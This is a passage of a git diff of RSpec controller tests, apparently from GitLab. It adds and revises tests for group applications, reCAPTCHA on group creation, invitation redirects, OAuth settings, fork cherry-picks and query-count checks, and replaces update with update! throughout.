+ expect(assigns[:scopes]).to be_kind_of(Doorkeeper::OAuth::Scopes)
+ end
+
+ context 'when updating the application to be confidential' do
+ it 'successfully sets the application to confidential' do
+ doorkeeper_params = { confidential: true }
+
+ patch :update, params: { group_id: group, id: application.id, doorkeeper_application: doorkeeper_params }
+
+ application.reload
+
+ expect(response).to redirect_to(group_settings_application_path(group, application))
+ expect(application).to be_confidential
+ end
+ end
+ end
+
+ context 'when user is not owner' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'renders a 404' do
+ doorkeeper_params = { redirect_uri: 'http://example.com/', trusted: true, confidential: false }
+
+ patch :update, params: { group_id: group, id: application.id, doorkeeper_application: doorkeeper_params }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ describe 'DELETE #destroy' do
+ context 'when user is owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it 'deletes the application' do
+ delete :destroy, params: { group_id: group, id: application.id }
+
+ expect(Doorkeeper::Application.exists?(application.id)).to be_falsy
+ expect(response).to redirect_to(group_settings_applications_url(group))
+ end
+ end
+
+ context 'when user is not owner' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'renders a 404' do
+ delete :destroy, params: { group_id: group, id: application.id }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+end
diff --git a/spec/controllers/groups/uploads_controller_spec.rb b/spec/controllers/groups/uploads_controller_spec.rb
index ea6a5ce8841..7dafb813545 100644
--- a/spec/controllers/groups/uploads_controller_spec.rb
+++ b/spec/controllers/groups/uploads_controller_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe Groups::UploadsController do
let!(:upload) { create(:upload, :issuable_upload, :with_file, model: model) }
let(:group) { model }
let(:old_path) { group.to_param + 'old' }
- let!(:redirect_route) { model.redirect_routes.create(path: old_path) }
+ let!(:redirect_route) { model.redirect_routes.create!(path: old_path) }
let(:upload_path) { File.basename(upload.path) }
it 'redirects to a file with the proper extension' do
diff --git a/spec/controllers/groups/variables_controller_spec.rb b/spec/controllers/groups/variables_controller_spec.rb
index a450a4afb02..8c0aa83b9c4 100644
--- a/spec/controllers/groups/variables_controller_spec.rb
+++ b/spec/controllers/groups/variables_controller_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Groups::VariablesController do
let_it_be(:group) { create(:group) }
let_it_be(:user) { create(:user) }
let_it_be(:variable) { create(:ci_group_variable, group: group) }
+
let(:access_level) { :owner }
before do
diff --git a/spec/controllers/groups_controller_spec.rb b/spec/controllers/groups_controller_spec.rb
index cce61c4534b..f47eac7ac25 100644
--- a/spec/controllers/groups_controller_spec.rb
+++ b/spec/controllers/groups_controller_spec.rb
@@ -312,6 +312,64 @@ RSpec.describe GroupsController, factory_default: :keep do
end
end
end
+
+ context 'when creating a group with captcha protection' do
+ before do
+ sign_in(user)
+
+ stub_application_setting(recaptcha_enabled: true)
+ end
+
+ after do
+ # Avoid test ordering issue and ensure `verify_recaptcha` returns true
+ unless Recaptcha.configuration.skip_verify_env.include?('test')
+ Recaptcha.configuration.skip_verify_env << 'test'
+ end
+ end
+
+ it 'displays an error when the reCAPTCHA is not solved' do
+ allow(controller).to receive(:verify_recaptcha).and_return(false)
+
+ post :create, params: { group: { name: 'new_group', path: "new_group" } }
+
+ expect(response).to render_template(:new)
+ expect(flash[:alert]).to eq(_('There was an error with the reCAPTCHA. Please solve the reCAPTCHA again.'))
+ end
+
+ it 'allows creating a group when the reCAPTCHA is solved' do
+ expect do
+ post :create, params: { group: { name: 'new_group', path: "new_group" } }
+ end.to change { Group.count }.by(1)
+
+ expect(response).to have_gitlab_http_status(:found)
+ end
+
+ it 'allows creating a sub-group without checking the captcha' do
+ expect(controller).not_to receive(:verify_recaptcha)
+
+ expect do
+ post :create, params: { group: { name: 'new_group', path: "new_group", parent_id: group.id } }
+ end.to change { Group.count }.by(1)
+
+ expect(response).to have_gitlab_http_status(:found)
+ end
+
+ context 'with feature flag switched off' do
+ before do
+ stub_feature_flags(recaptcha_on_top_level_group_creation: false)
+ end
+
+ it 'allows creating a group without the reCAPTCHA' do
+ expect(controller).not_to receive(:verify_recaptcha)
+
+ expect do
+ post :create, params: { group: { name: 'new_group', path: "new_group" } }
+ end.to change { Group.count }.by(1)
+
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+ end
end
describe 'GET #index' do
@@ -556,6 +614,43 @@ RSpec.describe GroupsController, factory_default: :keep do
end
end
+ context "updating :resource_access_token_creation_allowed" do
+ subject do
+ put :update,
+ params: {
+ id: group.to_param,
+ group: { resource_access_token_creation_allowed: false }
+ }
+ end
+
+ context 'when user is a group owner' do
+ before do
+ group.add_owner(user)
+ sign_in(user)
+ end
+
+ it "updates the attribute" do
+ expect { subject }
+ .to change { group.namespace_settings.reload.resource_access_token_creation_allowed }
+ .from(true)
+ .to(false)
+
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+
+ context 'when not a group owner' do
+ before do
+ group.add_developer(user)
+ sign_in(user)
+ end
+
+ it "does not update the attribute" do
+ expect { subject }.not_to change { group.namespace_settings.reload.resource_access_token_creation_allowed }
+ end
+ end
+ end
+
describe '#ensure_canonical_path' do
before do
sign_in(user)
@@ -578,7 +673,7 @@ RSpec.describe GroupsController, factory_default: :keep do
end
context 'when requesting a redirected path' do
- let(:redirect_route) { group.redirect_routes.create(path: 'old-path') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'old-path') }
let(:group_full_path) { redirect_route.path }
it 'redirects to the canonical path' do
@@ -587,7 +682,7 @@ RSpec.describe GroupsController, factory_default: :keep do
end
context 'when the old group path is a substring of the scheme or host' do
- let(:redirect_route) { group.redirect_routes.create(path: 'http') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'http') }
it 'does not modify the requested host' do
expect(response).to redirect_to(group)
@@ -597,7 +692,7 @@ RSpec.describe GroupsController, factory_default: :keep do
context 'when the old group path is substring of groups' do
# I.e. /groups/oups should not become /grfoo/oups
- let(:redirect_route) { group.redirect_routes.create(path: 'oups') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'oups') }
it 'does not modify the /groups part of the path' do
expect(response).to redirect_to(group)
@@ -649,7 +744,7 @@ RSpec.describe GroupsController, factory_default: :keep do
end
context 'when requesting a redirected path' do
- let(:redirect_route) { group.redirect_routes.create(path: 'old-path') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'old-path') }
it 'redirects to the canonical path' do
get :issues, params: { id: redirect_route.path }
@@ -659,7 +754,7 @@ RSpec.describe GroupsController, factory_default: :keep do
end
context 'when the old group path is a substring of the scheme or host' do
- let(:redirect_route) { group.redirect_routes.create(path: 'http') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'http') }
it 'does not modify the requested host' do
get :issues, params: { id: redirect_route.path }
@@ -671,7 +766,7 @@ RSpec.describe GroupsController, factory_default: :keep do
context 'when the old group path is substring of groups' do
# I.e. /groups/oups should not become /grfoo/oups
- let(:redirect_route) { group.redirect_routes.create(path: 'oups') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'oups') }
it 'does not modify the /groups part of the path' do
get :issues, params: { id: redirect_route.path }
@@ -683,7 +778,7 @@ RSpec.describe GroupsController, factory_default: :keep do
context 'when the old group path is substring of groups plus the new path' do
# I.e. /groups/oups/oup should not become /grfoos
- let(:redirect_route) { group.redirect_routes.create(path: 'oups/oup') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'oups/oup') }
it 'does not modify the /groups part of the path' do
get :issues, params: { id: redirect_route.path }
@@ -711,7 +806,7 @@ RSpec.describe GroupsController, factory_default: :keep do
end
context 'when requesting a redirected path' do
- let(:redirect_route) { group.redirect_routes.create(path: 'old-path') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'old-path') }
it 'returns not found' do
post :update, params: { id: redirect_route.path, group: { path: 'new_path' } }
@@ -737,7 +832,7 @@ RSpec.describe GroupsController, factory_default: :keep do
end
context 'when requesting a redirected path' do
- let(:redirect_route) { group.redirect_routes.create(path: 'old-path') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'old-path') }
it 'returns not found' do
delete :destroy, params: { id: redirect_route.path }
diff --git a/spec/controllers/invites_controller_spec.rb b/spec/controllers/invites_controller_spec.rb
index a8d38d12f23..5195f482084 100644
--- a/spec/controllers/invites_controller_spec.rb
+++ b/spec/controllers/invites_controller_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe InvitesController do
let_it_be(:user) { create(:user) }
- let(:member) { create(:project_member, :invited, invite_email: user.email) }
+ let_it_be(:member, reload: true) { create(:project_member, :invited, invite_email: user.email) }
let(:raw_invite_token) { member.raw_invite_token }
let(:project_members) { member.source.users }
let(:md5_member_global_id) { Digest::MD5.hexdigest(member.to_global_id.to_s) }
@@ -77,10 +77,83 @@ RSpec.describe InvitesController do
context 'when not logged in' do
context 'when inviter is a member' do
- it 'is redirected to a new session with invite email param' do
- request
+ context 'when instance allows sign up' do
+ it 'indicates an account can be created in notice' do
+ request
+
+ expect(flash[:notice]).to include('or create an account')
+ end
+
+ context 'when user exists with the invited email' do
+ it 'is redirected to a new session with invite email param' do
+ request
+
+ expect(response).to redirect_to(new_user_session_path(invite_email: member.invite_email))
+ end
+ end
+
+ context 'when user exists with the invited email as secondary email' do
+ before do
+ secondary_email = create(:email, user: user, email: 'foo@example.com')
+ member.update!(invite_email: secondary_email.email)
+ end
+
+ it 'is redirected to a new session with invite email param' do
+ request
+
+ expect(response).to redirect_to(new_user_session_path(invite_email: member.invite_email))
+ end
+ end
+
+ context 'when user does not exist with the invited email' do
+ before do
+ member.update!(invite_email: 'bogus_email@example.com')
+ end
+
+ it 'indicates an account can be created in notice' do
+ request
+
+ expect(flash[:notice]).to include('create an account or sign in')
+ end
+
+ it 'is redirected to a new registration with invite email param' do
+ request
+
+ expect(response).to redirect_to(new_user_registration_path(invite_email: member.invite_email))
+ end
+ end
+ end
+
+ context 'when instance does not allow sign up' do
+ before do
+ stub_application_setting(allow_signup?: false)
+ end
+
+ it 'does not indicate an account can be created in notice' do
+ request
+
+ expect(flash[:notice]).not_to include('or create an account')
+ end
+
+ context 'when user exists with the invited email' do
+ it 'is redirected to a new session with invite email param' do
+ request
+
+ expect(response).to redirect_to(new_user_session_path(invite_email: member.invite_email))
+ end
+ end
+
+ context 'when user does not exist with the invited email' do
+ before do
+ member.update!(invite_email: 'bogus_email@example.com')
+ end
+
+ it 'is redirected to a new session with invite email param' do
+ request
- expect(response).to redirect_to(new_user_session_path(invite_email: member.invite_email))
+ expect(response).to redirect_to(new_user_session_path(invite_email: member.invite_email))
+ end
+ end
end
end
diff --git a/spec/controllers/oauth/authorizations_controller_spec.rb b/spec/controllers/oauth/authorizations_controller_spec.rb
index 2df94a06b3e..21124299b25 100644
--- a/spec/controllers/oauth/authorizations_controller_spec.rb
+++ b/spec/controllers/oauth/authorizations_controller_spec.rb
@@ -54,7 +54,7 @@ RSpec.describe Oauth::AuthorizationsController do
shared_examples "Implicit grant can't be used in confidential application" do
context 'when application is confidential' do
before do
- application.update(confidential: true)
+ application.update!(confidential: true)
params[:response_type] = 'token'
end
@@ -96,7 +96,7 @@ RSpec.describe Oauth::AuthorizationsController do
end
it 'deletes session.user_return_to and redirects when skip authorization' do
- application.update(trusted: true)
+ application.update!(trusted: true)
request.session['user_return_to'] = 'http://example.com'
subject
diff --git a/spec/controllers/omniauth_callbacks_controller_spec.rb b/spec/controllers/omniauth_callbacks_controller_spec.rb
index edd587389cb..4a47a4a2a53 100644
--- a/spec/controllers/omniauth_callbacks_controller_spec.rb
+++ b/spec/controllers/omniauth_callbacks_controller_spec.rb
@@ -60,7 +60,7 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
let(:extern_uid) { 'my-uid' }
before do
- user.update(failed_attempts: User.maximum_attempts.pred)
+ user.update!(failed_attempts: User.maximum_attempts.pred)
subject.response = ActionDispatch::Response.new
end
@@ -233,7 +233,7 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
settings = Gitlab::CurrentSettings.current_application_settings
- settings.update(disabled_oauth_sign_in_sources: [provider.to_s])
+ settings.update!(disabled_oauth_sign_in_sources: [provider.to_s])
end
it 'prevents login via POST' do
@@ -299,7 +299,7 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
before do
stub_omniauth_setting(enabled: true, auto_link_user: true, allow_single_sign_on: ['atlassian_oauth2'])
- user.destroy
+ user.destroy!
end
it 'denies sign-in if sign-up is enabled, but block_auto_created_users is set' do
@@ -381,7 +381,7 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
context 'sign up' do
before do
- user.destroy
+ user.destroy!
end
it 'denies login if sign up is enabled, but block_auto_created_users is set' do
diff --git a/spec/controllers/profiles/notifications_controller_spec.rb b/spec/controllers/profiles/notifications_controller_spec.rb
index 03749366703..1ebf4363ba6 100644
--- a/spec/controllers/profiles/notifications_controller_spec.rb
+++ b/spec/controllers/profiles/notifications_controller_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe Profiles::NotificationsController do
let(:user) do
create(:user) do |user|
- user.emails.create(email: 'original@example.com', confirmed_at: Time.current)
- user.emails.create(email: 'new@example.com', confirmed_at: Time.current)
+ user.emails.create!(email: 'original@example.com', confirmed_at: Time.current)
+ user.emails.create!(email: 'new@example.com', confirmed_at: Time.current)
user.notification_email = 'original@example.com'
user.save!
end
@@ -21,6 +21,30 @@ RSpec.describe Profiles::NotificationsController do
expect(response).to render_template :show
end
+ context 'when personal projects are present', :request_store do
+ let!(:personal_project_1) { create(:project, namespace: user.namespace) }
+
+ context 'N+1 query check' do
+ render_views
+
+ it 'does not have an N+1' do
+ sign_in(user)
+
+ get :show
+
+ control = ActiveRecord::QueryRecorder.new do
+ get :show
+ end
+
+ create_list(:project, 2, namespace: user.namespace)
+
+ expect do
+ get :show
+ end.not_to exceed_query_limit(control)
+ end
+ end
+ end
+
context 'with groups that do not have notification preferences' do
let_it_be(:group) { create(:group) }
let_it_be(:subgroup) { create(:group, parent: group) }
@@ -37,18 +61,24 @@ RSpec.describe Profiles::NotificationsController do
expect(assigns(:group_notifications).map(&:source_id)).to include(subgroup.id)
end
- it 'does not have an N+1' do
- sign_in(user)
+ context 'N+1 query check' do
+ render_views
+
+ it 'does not have an N+1' do
+ sign_in(user)
- control = ActiveRecord::QueryRecorder.new do
get :show
- end
- create_list(:group, 2, parent: group)
+ control = ActiveRecord::QueryRecorder.new do
+ get :show
+ end
- expect do
- get :show
- end.not_to exceed_query_limit(control)
+ create_list(:group, 2, parent: group)
+
+ expect do
+ get :show
+ end.not_to exceed_query_limit(control)
+ end
end
end
diff --git a/spec/controllers/projects/alerting/notifications_controller_spec.rb b/spec/controllers/projects/alerting/notifications_controller_spec.rb
index 3656cfbcc30..fe0c4ce00bf 100644
--- a/spec/controllers/projects/alerting/notifications_controller_spec.rb
+++ b/spec/controllers/projects/alerting/notifications_controller_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::Alerting::NotificationsController do
let_it_be(:project) { create(:project) }
let_it_be(:environment) { create(:environment, project: project) }
+
let(:params) { project_params }
describe 'POST #create' do
@@ -68,6 +69,7 @@ RSpec.describe Projects::Alerting::NotificationsController do
context 'with a corresponding integration' do
context 'with integration parameters specified' do
let_it_be_with_reload(:integration) { create(:alert_management_http_integration, project: project) }
+
let(:params) { project_params(endpoint_identifier: integration.endpoint_identifier, name: integration.name) }
context 'the integration is active' do
diff --git a/spec/controllers/projects/artifacts_controller_spec.rb b/spec/controllers/projects/artifacts_controller_spec.rb
index 69ab9873b90..754b0ddfb94 100644
--- a/spec/controllers/projects/artifacts_controller_spec.rb
+++ b/spec/controllers/projects/artifacts_controller_spec.rb
@@ -448,7 +448,7 @@ RSpec.describe Projects::ArtifactsController do
context 'with regular branch' do
before do
- pipeline.update(ref: 'master',
+ pipeline.update!(ref: 'master',
sha: project.commit('master').sha)
get :latest_succeeded, params: params_from_ref('master')
@@ -459,7 +459,7 @@ RSpec.describe Projects::ArtifactsController do
context 'with branch name containing slash' do
before do
- pipeline.update(ref: 'improve/awesome',
+ pipeline.update!(ref: 'improve/awesome',
sha: project.commit('improve/awesome').sha)
get :latest_succeeded, params: params_from_ref('improve/awesome')
@@ -470,7 +470,7 @@ RSpec.describe Projects::ArtifactsController do
context 'with branch name and path containing slashes' do
before do
- pipeline.update(ref: 'improve/awesome',
+ pipeline.update!(ref: 'improve/awesome',
sha: project.commit('improve/awesome').sha)
get :latest_succeeded, params: params_from_ref('improve/awesome', job.name, 'file/README.md')
diff --git a/spec/controllers/projects/boards_controller_spec.rb b/spec/controllers/projects/boards_controller_spec.rb
index cde3a8d4761..48a12a27911 100644
--- a/spec/controllers/projects/boards_controller_spec.rb
+++ b/spec/controllers/projects/boards_controller_spec.rb
@@ -22,6 +22,15 @@ RSpec.describe Projects::BoardsController do
expect(assigns(:boards_endpoint)).to eq project_boards_path(project)
end
+ it 'pushes swimlanes_buffered_rendering feature flag' do
+ allow(controller).to receive(:push_frontend_feature_flag).and_call_original
+
+ expect(controller).to receive(:push_frontend_feature_flag)
+ .with(:swimlanes_buffered_rendering, project, default_enabled: :yaml)
+
+ list_boards
+ end
+
context 'when format is HTML' do
it 'renders template' do
list_boards
@@ -116,6 +125,15 @@ RSpec.describe Projects::BoardsController do
describe 'GET show' do
let!(:board) { create(:board, project: project) }
+ it 'pushes swimlanes_buffered_rendering feature flag' do
+ allow(controller).to receive(:push_frontend_feature_flag).and_call_original
+
+ expect(controller).to receive(:push_frontend_feature_flag)
+ .with(:swimlanes_buffered_rendering, project, default_enabled: :yaml)
+
+ read_board board: board
+ end
+
it 'sets boards_endpoint instance variable to a boards path' do
read_board board: board
diff --git a/spec/controllers/projects/clusters_controller_spec.rb b/spec/controllers/projects/clusters_controller_spec.rb
index dd3440f7660..2a8feb09780 100644
--- a/spec/controllers/projects/clusters_controller_spec.rb
+++ b/spec/controllers/projects/clusters_controller_spec.rb
@@ -674,22 +674,32 @@ RSpec.describe Projects::ClustersController do
describe 'GET show' do
let(:cluster) { create(:cluster, :provided_by_gcp, projects: [project]) }
- def go
+ def go(tab: nil)
get :show,
params: {
namespace_id: project.namespace,
project_id: project,
- id: cluster
+ id: cluster,
+ tab: tab
}
end
describe 'functionality' do
+ render_views
+
it "renders view" do
go
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:cluster)).to eq(cluster)
end
+
+ it 'renders integration tab view' do
+ go(tab: 'integrations')
+
+ expect(response).to render_template('clusters/clusters/_integrations')
+ expect(response).to have_gitlab_http_status(:ok)
+ end
end
describe 'security' do
diff --git a/spec/controllers/projects/commit_controller_spec.rb b/spec/controllers/projects/commit_controller_spec.rb
index 2d7f036be21..a231b54419e 100644
--- a/spec/controllers/projects/commit_controller_spec.rb
+++ b/spec/controllers/projects/commit_controller_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Projects::CommitController do
+ include ProjectForksHelper
+
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
@@ -295,6 +297,102 @@ RSpec.describe Projects::CommitController do
expect(flash[:alert]).to match('Sorry, we cannot cherry-pick this commit automatically.')
end
end
+
+ context 'when a project has a fork' do
+ let(:project) { create(:project, :repository) }
+ let(:forked_project) { fork_project(project, user, namespace: user.namespace, repository: true) }
+ let(:target_project) { project }
+ let(:create_merge_request) { nil }
+
+ def send_request
+ post(:cherry_pick,
+ params: {
+ namespace_id: forked_project.namespace,
+ project_id: forked_project,
+ target_project_id: target_project.id,
+ start_branch: 'feature',
+ id: forked_project.commit.id,
+ create_merge_request: create_merge_request
+ })
+ end
+
+ def merge_request_url(source_project, branch)
+ project_new_merge_request_path(
+ source_project,
+ merge_request: {
+ source_project_id: source_project.id,
+ target_project_id: project.id,
+ source_branch: branch,
+ target_branch: 'feature'
+ }
+ )
+ end
+
+ before do
+ forked_project.add_maintainer(user)
+ end
+
+ it 'successfully cherry picks a commit from fork to upstream project' do
+ send_request
+
+ expect(response).to redirect_to project_commits_path(project, 'feature')
+ expect(flash[:notice]).to eq('The commit has been successfully cherry-picked into feature.')
+ expect(project.commit('feature').message).to include(forked_project.commit.id)
+ end
+
+ context 'when the cherry pick is performed via merge request' do
+ let(:create_merge_request) { true }
+
+ it 'successfully cherry picks a commit from fork to a cherry pick branch' do
+ branch = forked_project.commit.cherry_pick_branch_name
+ send_request
+
+ expect(response).to redirect_to merge_request_url(project, branch)
+ expect(flash[:notice]).to start_with("The commit has been successfully cherry-picked into #{branch}")
+ expect(project.commit(branch).message).to include(forked_project.commit.id)
+ end
+ end
+
+ context 'when a user cannot push to upstream project' do
+ let(:create_merge_request) { true }
+
+ before do
+ project.add_reporter(user)
+ end
+
+ it 'cherry picks a commit to the fork' do
+ branch = forked_project.commit.cherry_pick_branch_name
+ send_request
+
+ expect(response).to redirect_to merge_request_url(forked_project, branch)
+ expect(flash[:notice]).to start_with("The commit has been successfully cherry-picked into #{branch}")
+ expect(project.commit('feature').message).not_to include(forked_project.commit.id)
+ expect(forked_project.commit(branch).message).to include(forked_project.commit.id)
+ end
+ end
+
+ context 'when a user do not have access to the target project' do
+ let(:target_project) { create(:project, :private) }
+
+ it 'cherry picks a commit to the fork' do
+ send_request
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'disable pick_into_project feature flag' do
+ before do
+ stub_feature_flags(pick_into_project: false)
+ end
+
+ it 'does not cherry pick a commit from fork to upstream' do
+ send_request
+
+ expect(project.commit('feature').message).not_to include(forked_project.commit.id)
+ end
+ end
+ end
end
describe 'GET diff_for_path' do
diff --git a/spec/controllers/projects/cycle_analytics/events_controller_spec.rb b/spec/controllers/projects/cycle_analytics/events_controller_spec.rb
index f940da7ea35..6bbdda89b14 100644
--- a/spec/controllers/projects/cycle_analytics/events_controller_spec.rb
+++ b/spec/controllers/projects/cycle_analytics/events_controller_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe Projects::CycleAnalytics::EventsController do
let(:issue) { create(:issue, project: project, created_at: 9.days.ago) }
before do
- issue.update(milestone: milestone)
+ issue.update!(milestone: milestone)
end
it 'is not empty' do
diff --git a/spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb b/spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb
index e0f86876f67..c78b838d0df 100644
--- a/spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb
+++ b/spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Projects::DesignManagement::Designs::RawImagesController do
let_it_be(:project) { create(:project, :private) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:viewer) { issue.author }
+
let(:design_id) { design.id }
let(:sha) { design.versions.first.sha }
let(:filename) { design.filename }
@@ -44,17 +45,6 @@ RSpec.describe Projects::DesignManagement::Designs::RawImagesController do
expect(response).to have_gitlab_http_status(:ok)
end
- context 'when the feature flag attachment_with_filename is disabled' do
- it 'serves files with just `attachment` in the disposition header' do
- stub_feature_flags(attachment_with_filename: false)
-
- subject
-
- expect(response.header['Content-Disposition']).to eq('attachment')
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
-
it 'serves files with Workhorse' do
subject
diff --git a/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb b/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb
index 96ecbaf55b6..56c0ef592ca 100644
--- a/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb
+++ b/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe Projects::DesignManagement::Designs::ResizedImageController do
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:viewer) { issue.author }
let_it_be(:size) { :v432x230 }
+
let(:design) { create(:design, :with_smaller_image_versions, issue: issue, versions_count: 2) }
let(:design_id) { design.id }
let(:sha) { design.versions.first.sha }
diff --git a/spec/controllers/projects/discussions_controller_spec.rb b/spec/controllers/projects/discussions_controller_spec.rb
index 8a793e29bfa..0c8677ea4b9 100644
--- a/spec/controllers/projects/discussions_controller_spec.rb
+++ b/spec/controllers/projects/discussions_controller_spec.rb
@@ -85,7 +85,7 @@ RSpec.describe Projects::DiscussionsController do
context "when the discussion is not resolvable" do
before do
- note.update(system: true)
+ note.update!(system: true)
end
it "returns status 404" do
@@ -168,7 +168,7 @@ RSpec.describe Projects::DiscussionsController do
context "when the discussion is not resolvable" do
before do
- note.update(system: true)
+ note.update!(system: true)
end
it "returns status 404" do
diff --git a/spec/controllers/projects/environments_controller_spec.rb b/spec/controllers/projects/environments_controller_spec.rb
index 83ad36b217f..4cb90edb742 100644
--- a/spec/controllers/projects/environments_controller_spec.rb
+++ b/spec/controllers/projects/environments_controller_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe Projects::EnvironmentsController do
let_it_be(:project) { create(:project) }
let_it_be(:maintainer) { create(:user, name: 'main-dos').tap { |u| project.add_maintainer(u) } }
let_it_be(:reporter) { create(:user, name: 'repo-dos').tap { |u| project.add_reporter(u) } }
+
let(:user) { maintainer }
let!(:environment) { create(:environment, name: 'production', project: project) }
diff --git a/spec/controllers/projects/feature_flags_controller_spec.rb b/spec/controllers/projects/feature_flags_controller_spec.rb
index f69cc0ddfd8..cd7d1ea0e8a 100644
--- a/spec/controllers/projects/feature_flags_controller_spec.rb
+++ b/spec/controllers/projects/feature_flags_controller_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe Projects::FeatureFlagsController do
let_it_be(:project) { create(:project) }
let_it_be(:developer) { create(:user) }
let_it_be(:reporter) { create(:user) }
+
let(:user) { developer }
before_all do
diff --git a/spec/controllers/projects/forks_controller_spec.rb b/spec/controllers/projects/forks_controller_spec.rb
index 7da3d403b53..8ca3009e0c7 100644
--- a/spec/controllers/projects/forks_controller_spec.rb
+++ b/spec/controllers/projects/forks_controller_spec.rb
@@ -71,7 +71,7 @@ RSpec.describe Projects::ForksController do
context 'when fork is internal' do
before do
- forked_project.update(visibility_level: Project::INTERNAL, group: group)
+ forked_project.update!(visibility_level: Project::INTERNAL, group: group)
end
it 'forks counts are correct' do
@@ -86,7 +86,7 @@ RSpec.describe Projects::ForksController do
context 'when fork is private' do
before do
- forked_project.update(visibility_level: Project::PRIVATE, group: group)
+ forked_project.update!(visibility_level: Project::PRIVATE, group: group)
end
shared_examples 'forks counts' do
@@ -153,8 +153,11 @@ RSpec.describe Projects::ForksController do
end
describe 'GET new' do
- subject do
+ let(:format) { :html }
+
+ subject(:do_request) do
get :new,
+ format: format,
params: {
namespace_id: project.namespace,
project_id: project
@@ -166,24 +169,32 @@ RSpec.describe Projects::ForksController do
sign_in(user)
end
- context 'when JSON requested' do
- it 'responds with available groups' do
- get :new,
- format: :json,
- params: {
- namespace_id: project.namespace,
- project_id: project
- }
+ it 'responds with status 200' do
+ request
- expect(json_response['namespaces'].length).to eq(1)
- expect(json_response['namespaces'].first['id']).to eq(group.id)
- end
+ expect(response).to have_gitlab_http_status(:ok)
end
- it 'responds with status 200' do
- subject
+ context 'when JSON is requested' do
+ let(:format) { :json }
- expect(response).to have_gitlab_http_status(:ok)
+ it 'responds with user namespace + groups' do
+ do_request
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['namespaces'].length).to eq(2)
+ expect(json_response['namespaces'][0]['id']).to eq(user.namespace.id)
+ expect(json_response['namespaces'][1]['id']).to eq(group.id)
+ end
+
+ it 'responds with group only when fork_project_form feature flag is disabled' do
+ stub_feature_flags(fork_project_form: false)
+ do_request
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['namespaces'].length).to eq(1)
+ expect(json_response['namespaces'][0]['id']).to eq(group.id)
+ end
end
end
diff --git a/spec/controllers/projects/group_links_controller_spec.rb b/spec/controllers/projects/group_links_controller_spec.rb
index 084a807e162..d514c486f60 100644
--- a/spec/controllers/projects/group_links_controller_spec.rb
+++ b/spec/controllers/projects/group_links_controller_spec.rb
@@ -8,15 +8,16 @@ RSpec.describe Projects::GroupLinksController do
let_it_be(:project) { create(:project, :private, group: group2) }
let_it_be(:user) { create(:user) }
- around do |example|
- travel_to DateTime.new(2019, 4, 1) { example.run }
- end
-
before do
+ travel_to DateTime.new(2019, 4, 1)
project.add_maintainer(user)
sign_in(user)
end
+ after do
+ travel_back
+ end
+
describe '#create' do
shared_context 'link project to group' do
before do
@@ -31,7 +32,7 @@ RSpec.describe Projects::GroupLinksController do
context 'when project is not allowed to be shared with a group' do
before do
- group.update(share_with_group_lock: false)
+ group.update!(share_with_group_lock: false)
end
include_context 'link project to group'
diff --git a/spec/controllers/projects/imports_controller_spec.rb b/spec/controllers/projects/imports_controller_spec.rb
index 5e09a50aa36..65a80b9e8ec 100644
--- a/spec/controllers/projects/imports_controller_spec.rb
+++ b/spec/controllers/projects/imports_controller_spec.rb
@@ -47,7 +47,7 @@ RSpec.describe Projects::ImportsController do
context 'when import is in progress' do
before do
- import_state.update(status: :started)
+ import_state.update!(status: :started)
end
it 'renders template' do
@@ -65,7 +65,7 @@ RSpec.describe Projects::ImportsController do
context 'when import failed' do
before do
- import_state.update(status: :failed)
+ import_state.update!(status: :failed)
end
it 'redirects to new_namespace_project_import_path' do
@@ -77,7 +77,7 @@ RSpec.describe Projects::ImportsController do
context 'when import finished' do
before do
- import_state.update(status: :finished)
+ import_state.update!(status: :finished)
end
context 'when project is a fork' do
@@ -126,7 +126,7 @@ RSpec.describe Projects::ImportsController do
context 'when import never happened' do
before do
- import_state.update(status: :none)
+ import_state.update!(status: :none)
end
it 'redirects to namespace_project_path' do
